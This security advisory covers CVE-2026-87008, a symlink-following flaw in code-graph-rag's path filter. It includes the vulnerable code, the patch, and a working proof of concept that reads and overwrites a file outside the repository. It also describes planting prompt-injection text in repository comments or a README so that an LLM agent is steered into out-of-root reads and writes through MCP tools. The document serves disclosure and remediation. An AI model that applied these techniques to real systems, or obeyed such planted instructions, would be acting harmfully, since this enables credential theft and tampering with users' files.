CVE-2026-87008: Out-of-Root Arbitrary File Read and Overwrite via Symlink Following in code-graph-rag

code-graph-rag is an AI-driven knowledge graph and retrieval-augmented generation (RAG) engine designed to index, query, and refactor multi-language codebases. To support syntax-aware pattern matching and automated code transformations, the package provides AstGrepService (located in codebase_rag/tools/ast_grep_service.py). This service exposes two core operations to users and connected Large Language Model (LLM) agents: structural_search for querying Abstract Syntax Tree (AST) patterns across a repository, and structural_replace for executing in-place code rewrites across matching files.

Because code-graph-rag is frequently invoked against third-party repositories or exposed as an automated tool server via the Model Context Protocol (MCP), it enforces filesystem boundary restrictions. All repository enumeration and file processing routines are designed to restrict file access strictly to the designated project_root directory. Before any file is parsed or modified by AstGrepService, its path is passed to the should_skip_path filtering function in codebase_rag/utils/path_utils.py to verify that it is not on an ignore list and that it resides within the target repository.

In code-graph-rag versions prior to 0.0.589, the path containment logic in should_skip_path evaluates paths lexically without resolving symbolic links to their canonical targets on the underlying filesystem. This flaw is classified under CWE-59 (Improper Link Resolution Before File Access) and CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

When a victim user or automated agent analyzes a repository containing a malicious symbolic link, should_skip_path validates the lexical location of the link itself rather than its destination. The subsequent file operations in AstGrepService transparently follow the symbolic link. This allows an attacker to read sensitive files outside the repository boundary via structural_search or corrupt and overwrite external files on the host via structural_replace.

The root cause of CVE-2026-87008 is an inconsistency between how path containment is checked in should_skip_path and how other security validators in the same codebase operate. Specifically, while single-file helper functions such as validate_project_path (in decorators.py) and absolute_path_within_project_root (in path_utils.py) canonicalize paths prior to boundary checks, the bulk directory traversal filter should_skip_path relied entirely on unresolved lexical path computation.

During a repository-wide sweep, AstGrepService iterates over files beneath project_root and invokes should_skip_path(path, repo_path) on each discovered entry. In vulnerable versions, should_skip_path calls cached_relative_path(path, repo_path) directly on the input pathlib.Path objects. If path represents a symbolic link located at <project_root>/malicious_link.py that points to /etc/passwd or ~/.ssh/id_rsa, its lexical representation still begins with <project_root>.

Because the lexical prefix matches repo_path, cached_relative_path succeeds without raising a ValueError, and should_skip_path returns False (indicating the file should not be skipped). When AstGrepService subsequently opens the file to perform AST parsing or replacement, the operating system kernel resolves the symbolic link to the external file.

Furthermore, this vulnerability exposes an architectural bypass within the Model Context Protocol (MCP) integration of code-graph-rag. While interactive CLI sessions may prompt a human operator before executing file modifications, the MCP tool endpoints invoke structural_replace(dry_run=False) directly without an interactive human approval gate. Consequently, an untrusted repository combined with prompt injection or automated agent workflows can trigger silent, unapproved file writes outside the repository boundary.

The vulnerability is located in codebase_rag/utils/path_utils.py within the should_skip_path function. Prior to version 0.0.589, the function checked file suffixes against an ignore list and immediately computed the relative path between path and repo_path without calling .resolve().

# Vulnerable implementation in codebase_rag/utils/path_utils.py (< 0.0.589)
def should_skip_path(
    path: Path,
    repo_path: Path,
    exclude_paths: frozenset[str] | None = None,
    unignore_paths: frozenset[str] | None = None,
    is_file: bool | None = None,
) -> bool:
    _is_file = path.is_file() if is_file is None else is_file
    if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
        return True
    
    # FLAW: path and repo_path are not canonicalized via .resolve().
    # A symlink at <repo_path>/link.py -> /outside/target.py passes this check.
    rel_path = cached_relative_path(path, repo_path)
    rel_path_str = rel_path.as_posix()

In commit 2648c95aa550ce2d9361a8e75ed669d5f4b451b8, the maintainer patched should_skip_path by resolving both path and repo_path via pathlib.Path.resolve() before attempting to compute their relative relationship:

--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ -120,6 +120,14 @@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Containment below is lexical, so a symlink whose target escapes the root
+    # would pass it and let a repo-scoped sweep read or overwrite outside files
+    # (GHSA-85gg-2gfq-q95m). Resolve first, mirroring validate_project_path
+    # (decorators.py) and absolute_path_within_project_root (this module).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)
     rel_path_str = rel_path.as_posix()
     # a trailing slash marks the path as a directory for dir-only patterns.

With this patch applied, path.resolve() follows all symbolic links and eliminates any .. traversal segments to yield the canonical target path on disk. The .relative_to(repo_path.resolve()) method then checks whether the resolved target path is a subpath of the resolved repository root. If the target lies outside repo_path, Python raises a ValueError, which the try...except block catches to immediately return True (skipping the file).

> [!NOTE] > Assessment of Fix Completeness: The patch effectively neutralizes static symbolic link escapes during directory sweeps, including nested directory symlinks and broken symlinks pointing outside the repository root. However, as with all user-space check-then-use designs that rely on path validation prior to a separate file open call in AstGrepService, a theoretical Time-of-Check to Time-of-Use (TOCTOU) window exists if an attacker has concurrent local code execution on the host to swap a regular file with a symlink between the should_skip_path check and the AstGrepService read/write call. For the primary threat model—analyzing a cloned untrusted repository at rest—the fix is complete.

Exploiting CVE-2026-87008 requires an attacker to create a Git repository (or archive) containing one or more symbolic links pointing to sensitive files on the target filesystem, and then induce a victim user or automated RAG pipeline to analyze the repository using code-graph-rag. No authentication or local shell access on the target host is required to stage the repository because Git natively preserves symbolic links across git clone operations via mode 120000 tree entries.

Once the repository is cloned onto the target machine, exploitation proceeds through either structural_search (for arbitrary file disclosure) or structural_replace (for arbitrary file modification). Because AstGrepService requires a target language parser (such as Python, JavaScript, JSON, or YAML) to match AST nodes, files that conform to or partially parse as valid syntax in any supported language are trivial to extract or modify.

The following Proof of Concept (derived from the regression test suite introduced in codebase_rag/tests/test_symlink_containment.py and public research in squeeze440/code-graph-rag-PoC) demonstrates both out-of-root read and out-of-root overwrite primitives:

from pathlib import Path
from codebase_rag.tools.ast_grep_service import AstGrepService
from codebase_rag.utils.path_utils import should_skip_path
 
# 1. Simulate a sensitive file located outside the repository root
secret_file = Path("/tmp/outside-secret.py")
secret_file.write_text('API_TOKEN = "sk-live-stolen-token-12345"\n', encoding="utf-8")
 
# 2. Construct an untrusted repository with an escaping symlink
project_root = Path("/tmp/untrusted-repo")
project_root.mkdir(parents=True, exist_ok=True)
symlink_path = project_root / "leak_link.py"
if not symlink_path.exists():
    symlink_path.symlink_to(secret_file)
 
# 3. Verify that should_skip_path fails to filter the symlink in < 0.0.589
is_skipped = should_skip_path(symlink_path, project_root, is_file=True)
assert is_skipped is False  # Returns False on vulnerable versions
 
# 4. Out-of-root Read via structural_search
service = AstGrepService(project_root=str(project_root))
search_matches = service.search(pattern="API_TOKEN", language="python")
print(f"Extracted matches: {search_matches}")
 
# 5. Out-of-root Overwrite via structural_replace
service.replace(
    pattern='API_TOKEN = "$_"',
    rewrite='API_TOKEN = "COMPROMISED"',
    language="python",
    dry_run=False
)
print(f"Modified external file content:\n{secret_file.read_text()}")

In an automated agent scenario where an LLM processes an untrusted repository, an attacker can embed indirect prompt injection instructions within source code comments or documentation files (e.g., README.md). These instructions can direct the agent to invoke the structural_search or structural_replace MCP tools with wildcard AST patterns (such as $A), causing the agent to read external configuration files into the LLM context or overwrite local source scripts to achieve arbitrary code execution.

CVE-2026-87008 carries a CVSS v3.1 base score of 7.1 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N. The Attack Vector is Local (AV:L) and User Interaction is Required (UI:R) because the vulnerability relies on a user or local service opening and indexing a repository containing attacker-controlled symbolic links. Attack Complexity is Low (AC:L) and Privileges Required is None (PR:N), as creating symbolic links in a Git repository requires no special capabilities.

The Confidentiality Impact is High (C:H). An attacker can read sensitive files accessible to the user account running code-graph-rag. Common high-value targets include Python configuration modules (settings.py, config.py), environment variable definitions, JSON/YAML credentials (such as ~/.docker/config.json or Kubernetes configuration files), and application source code from adjacent repositories on the developer's workstation or CI/CD runner.

The Integrity Impact is also High (I:H). By leveraging structural_replace with dry_run=False, an attacker can modify or corrupt any writable file on the filesystem whose contents can be matched by an AST rule. If an attacker targets user-writable initialization scripts (such as ~/.bashrc, ~/.zshrc, or Python virtual environment .pth and sitecustomize.py files), arbitrary file modification escalates directly to local code execution the next time the shell or Python interpreter is invoked.

At the time of publication, CVE-2026-87008 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Its Exploit Prediction Scoring System (EPSS) score is 0.00264 (0.26%, 18.37th percentile), reflecting the requirement for local repository ingestion and user or agent interaction.

The primary remediation for CVE-2026-87008 is to upgrade code-graph-rag to version 0.0.589 or later, which incorporates commit 2648c95aa550ce2d9361a8e75ed669d5f4b451b8 to enforce canonical path resolution inside should_skip_path.

# Upgrade using pip
pip install --upgrade "code-graph-rag>=0.0.589"
 
# Upgrade using uv
uv add "code-graph-rag>=0.0.589"

In environments where immediate upgrading is not feasible, security engineers and developers should implement defensive controls around repository ingestion and tool execution. Before running code-graph-rag on untrusted or third-party repositories, pre-scan the working tree to detect and remove symbolic links, or configure Git not to create symbolic links during checkout:

# Disable symbolic link creation when cloning untrusted repositories
git clone -c core.symlinks=false <untrusted-repo-url>
 
# Audit an existing directory for symbolic links before indexing
find /path/to/repo -type l -ls

Finally, when deploying code-graph-rag as an MCP server or automated indexing backend, execute the service inside an isolated container, virtual machine, or sandboxed environment (such as bubblewrap or Docker). Mount only the target repository directory into the container workspace, and ensure that host user credentials (~/.ssh, ~/.aws, ~/.config) are excluded from the container filesystem.